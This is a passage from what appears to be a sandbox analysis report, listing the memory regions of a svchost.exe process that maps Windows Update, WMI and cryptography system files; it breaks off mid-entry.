id = 1894 start_va = 0x286159f0000 end_va = 0x286159fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1895 start_va = 0x28615a00000 end_va = 0x28615afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615a00000" filename = "" Region: id = 1896 start_va = 0x28615b00000 end_va = 0x28615bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615b00000" filename = "" Region: id = 1897 start_va = 0x28615c00000 end_va = 0x28615cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615c00000" filename = "" Region: id = 1898 start_va = 0x28615d00000 end_va = 0x28615dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615d00000" filename = "" Region: id = 1899 start_va = 0x28615e00000 end_va = 0x28615efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615e00000" filename = "" Region: id = 1900 start_va = 0x28615f00000 end_va = 0x28615ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028615f00000" filename = "" Region: id = 1901 start_va = 0x28616000000 end_va = 0x286160fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000028616000000" filename = "" Region: id = 1902 start_va = 0x28616100000 end_va = 0x2861610ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1903 start_va = 0x28616110000 end_va = 0x2861611ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1904 start_va = 0x28616120000 end_va = 0x2861612ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1905 start_va = 0x28616130000 end_va = 0x2861613ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1906 start_va = 0x28616140000 end_va = 0x2861614ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1907 start_va = 0x28616150000 end_va = 0x2861615ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1908 start_va = 0x28616160000 end_va = 0x2861616ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1909 start_va = 0x28616170000 end_va = 0x2861617ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1910 start_va = 0x28616180000 end_va = 0x2861618ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1911 start_va = 0x28616190000 end_va = 0x2861619ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1912 start_va = 0x286161a0000 end_va = 0x286161affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1913 start_va = 0x286161b0000 end_va = 0x286161bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1914 start_va = 0x286161c0000 end_va = 0x286161cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1915 start_va = 0x286161d0000 end_va = 0x286161dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1916 start_va = 0x286161e0000 end_va = 0x286161effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1917 start_va = 0x286161f0000 end_va = 0x286161fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1918 start_va = 0x28616200000 end_va = 0x2861620ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1919 start_va = 0x28616210000 end_va = 0x2861621ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1920 start_va = 0x28616220000 end_va = 0x2861622ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1921 start_va = 0x28616230000 end_va = 0x2861623ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1922 start_va = 0x28616240000 end_va = 0x2861624ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1923 start_va = 0x28616250000 end_va = 0x2861625ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1924 start_va = 0x28616260000 end_va = 0x2861626ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1925 start_va = 0x28616270000 end_va = 0x2861627ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1926 start_va = 0x28616280000 end_va = 0x2861628ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1927 start_va = 0x28616290000 end_va = 0x2861629ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1928 start_va = 0x286162a0000 end_va = 0x286162affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1929 start_va = 0x286162b0000 end_va = 0x286162bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1930 start_va = 0x286162c0000 end_va = 0x286162cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1931 start_va = 0x286162d0000 end_va = 0x286162dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1932 start_va = 0x286162e0000 end_va = 0x286162effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1933 start_va = 0x286162f0000 end_va = 0x286162fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1934 start_va = 0x28616300000 end_va = 0x2861630ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1935 start_va = 0x28616310000 end_va = 0x2861631ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1936 start_va = 0x28616320000 end_va = 0x2861632ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1937 start_va = 0x28616330000 end_va = 0x2861633ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1938 start_va = 0x28616340000 end_va = 0x2861634ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1939 start_va = 0x28616350000 end_va = 0x2861635ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1940 start_va = 0x28616360000 end_va = 0x2861636ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1941 start_va = 0x28616370000 end_va = 0x2861637ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1942 start_va = 0x28616380000 end_va = 0x2861638ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1943 start_va = 0x28616390000 end_va = 0x2861639ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1944 start_va = 0x286163a0000 end_va = 0x286163affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1945 start_va = 0x286163b0000 end_va = 0x286163bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1946 start_va = 0x286163c0000 end_va = 0x286163cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1947 start_va = 0x286163d0000 end_va = 0x286163dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1948 start_va = 0x286163e0000 end_va = 0x286163effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1949 start_va = 0x286163f0000 end_va = 0x286163fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1950 start_va = 0x28616400000 end_va = 0x2861640ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1951 start_va = 0x28616410000 end_va = 0x2861641ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1952 start_va = 0x28616420000 end_va = 0x2861642ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1953 start_va = 0x28616430000 end_va = 0x2861643ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1954 start_va = 0x28616440000 end_va = 0x2861644ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1955 start_va = 0x28616450000 end_va = 0x2861645ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1956 start_va = 0x28616460000 end_va = 0x2861646ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1957 start_va = 0x28616470000 end_va = 0x2861647ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1958 start_va = 0x28616480000 end_va = 0x2861648ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1959 start_va = 0x28616490000 end_va = 0x2861649ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1960 start_va = 0x286164a0000 end_va = 0x286164affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1961 start_va = 0x286164b0000 end_va = 0x286164bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1962 start_va = 0x286164c0000 end_va = 0x286164cffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1963 start_va = 0x286164d0000 end_va = 0x286164dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1964 start_va = 0x286164e0000 end_va = 0x286164effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1965 start_va = 0x286164f0000 end_va = 0x286164fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1966 start_va = 0x28616500000 end_va = 0x2861650ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1967 start_va = 0x28616510000 end_va = 0x2861651ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1968 start_va = 0x28616520000 end_va = 0x2861652ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1969 start_va = 0x28616530000 end_va = 0x2861653ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1970 start_va = 0x28616540000 end_va = 0x2861654ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1971 start_va = 0x7df5ff410000 end_va = 0x7ff5ff40ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff410000" filename = "" Region: id = 1972 start_va = 0x7ff723b50000 end_va = 0x7ff723c4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff723b50000" filename = "" Region: id = 1973 start_va = 0x7ff723c50000 end_va = 0x7ff723c72fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff723c50000" filename = "" Region: id = 1974 start_va = 0x7ff7241b0000 end_va = 0x7ff7241bcfff monitored = 0 entry_point = 0x7ff7241b3980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1975 start_va = 0x7ffa5f4e0000 end_va = 0x7ffa5f53cfff monitored = 0 entry_point = 0x7ffa5f50e510 region_type = mapped_file name = "usocore.dll" filename = "\\Windows\\System32\\usocore.dll" (normalized: "c:\\windows\\system32\\usocore.dll") Region: id = 1976 start_va = 0x7ffa62300000 end_va = 0x7ffa62331fff monitored = 0 entry_point = 0x7ffa6230b0c0 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 1977 start_va = 0x7ffa632d0000 end_va = 0x7ffa63505fff monitored = 0 entry_point = 0x7ffa6335a450 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1978 start_va = 0x7ffa643a0000 end_va = 0x7ffa64423fff monitored = 0 entry_point = 0x7ffa643b2830 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1979 start_va = 0x7ffa64800000 end_va = 0x7ffa648d4fff monitored = 0 entry_point = 0x7ffa6481cf80 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 1980 start_va = 0x7ffa65f70000 end_va = 0x7ffa661e9fff monitored = 0 entry_point = 0x7ffa65f8a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 1981 start_va = 0x7ffa68a90000 end_va = 0x7ffa68bacfff monitored = 0 entry_point = 0x7ffa68abfe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1982 start_va = 0x7ffa68c90000 end_va = 0x7ffa68cf6fff monitored = 0 entry_point = 0x7ffa68c9b160 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1983 start_va = 0x7ffa6b080000 end_va = 0x7ffa6b0aefff monitored = 0 entry_point = 0x7ffa6b08ec60 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 1984 start_va = 0x7ffa6b0e0000 end_va = 0x7ffa6b0f3fff monitored = 0 entry_point = 0x7ffa6b0e3710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 1985 start_va = 0x7ffa6b100000 end_va = 0x7ffa6b127fff monitored = 0 entry_point = 0x7ffa6b10efc0 region_type = mapped_file name = "dssenh.dll" filename = "\\Windows\\System32\\dssenh.dll" (normalized: "c:\\windows\\system32\\dssenh.dll") Region: id = 1986 start_va = 0x7ffa6b130000 end_va = 0x7ffa6b184fff monitored = 0 entry_point = 0x7ffa6b14f870 region_type = mapped_file name = "ncryptprov.dll" filename = "\\Windows\\System32\\ncryptprov.dll" (normalized: "c:\\windows\\system32\\ncryptprov.dll") Region: id = 1987 start_va = 0x7ffa6b190000 end_va = 0x7ffa6b1adfff monitored = 0 entry_point = 0x7ffa6b19ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 1988 start_va = 0x7ffa6b290000 end_va = 0x7ffa6b30ffff monitored = 0 entry_point = 0x7ffa6b2bd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1989 start_va = 0x7ffa6b310000 end_va = 0x7ffa6b320fff monitored = 0 entry_point = 0x7ffa6b317480 region_type = mapped_file name = "tetheringclient.dll" filename = "\\Windows\\System32\\tetheringclient.dll" (normalized: "c:\\windows\\system32\\tetheringclient.dll") Region: id = 1990 start_va = 0x7ffa6b330000 end_va = 0x7ffa6b3b3fff monitored = 0 entry_point = 0x7ffa6b348d50 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1991 start_va = 0x7ffa6b3c0000 end_va = 0x7ffa6b3d5fff monitored = 0 entry_point = 0x7ffa6b3c55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1992 start_va = 0x7ffa6b3e0000 end_va = 0x7ffa6b4b5fff monitored = 0 entry_point = 0x7ffa6b40a800 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1993 start_va = 0x7ffa6b690000 end_va = 0x7ffa6b6f3fff monitored = 0 entry_point = 0x7ffa6b6abed0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1994 start_va = 0x7ffa6b700000 end_va = 0x7ffa6b724fff monitored = 0 entry_point = 0x7ffa6b709900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1995 start_va = 0x7ffa6b730000 end_va = 0x7ffa6b743fff monitored = 0 entry_point = 0x7ffa6b731800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1996 start_va = 0x7ffa6b750000 end_va = 0x7ffa6b845fff monitored = 0 entry_point = 0x7ffa6b789590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1997 start_va = 0x7ffa6b850000 end_va = 0x7ffa6b8c3fff monitored = 0 entry_point = 0x7ffa6b865eb0 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1998 start_va = 0x7ffa6b8d0000 end_va = 0x7ffa6ba06fff monitored = 0 entry_point = 0x7ffa6b910480 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1999 start_va = 0x7ffa6bca0000 end_va = 0x7ffa6bcdefff monitored = 0 entry_point = 0x7ffa6bcc82d0 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 2000 start_va = 0x7ffa6bdf0000 end_va = 0x7ffa6c129fff monitored = 0 entry_point = 0x7ffa6bdf8520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2001 start_va = 0x7ffa6c600000 end_va = 0x7ffa6c615fff monitored = 0 entry_point = 0x7ffa6c601d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 2002 start_va = 0x7ffa6d6d0000 end_va = 0x7ffa6d6e0fff monitored = 0 entry_point = 0x7ffa6d6d2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2003 start_va = 0x7ffa6d6f0000 end_va = 0x7ffa6d70dfff monitored = 0 entry_point = 0x7ffa6d6f3a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2004 start_va = 0x7ffa6d710000 end_va = 0x7ffa6d791fff monitored = 0 entry_point = 0x7ffa6d712a10 region_type = mapped_file name = "hnetcfg.dll" filename = 